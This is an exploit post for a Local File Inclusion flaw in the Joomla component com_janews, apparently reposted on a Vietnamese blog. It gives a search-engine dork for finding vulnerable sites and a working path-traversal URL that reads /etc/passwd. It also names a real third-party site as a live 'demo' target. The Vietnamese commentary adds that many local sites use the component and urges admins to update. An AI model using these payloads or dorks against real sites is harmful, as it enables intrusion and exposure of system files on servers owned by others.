Joomla Component com_janews
####################################################################
.:. Author : AtT4CKxT3rR0r1ST [F.Hack@w.cn]
|
.:. Team : Sec Attack Team
|
.:. Home : www.sec-attack.com/vb
|
.:. Script : Joomla Component com_janews
|
.:. Bug Type : Local File Inclusion [LFI]
|
.:. Dork : inurl:"com_janews"
|
####################################################################
|
www.site.com/index.php?option=com_janews&controller=[LFI]
|
www.site.com/index.php?option=com_janews&controller=../../../../../../../../../../etc/passwd%00
|
####################################################################
Hiện có rất nhiều web ở Việt Nam dùng com này
Demo:
http://www.cynosura.org/index.php?option=com_janews&controller=../../../../../../../../../../etc/passwd%00
Đáng chú ý hơn nữa web www.smot.gov.vn đã bị chèn virus các bạn không nên vào
Admin các web có dùng com này nên update sửa lỗi
Chúng tôi không chịu trách nhiệm về các site đăng trên đầy và lỗi của com này
AlexBTP – Viet Matrix Revolutions
Like this:
Be the first to like this post.
Phản hồi gần đây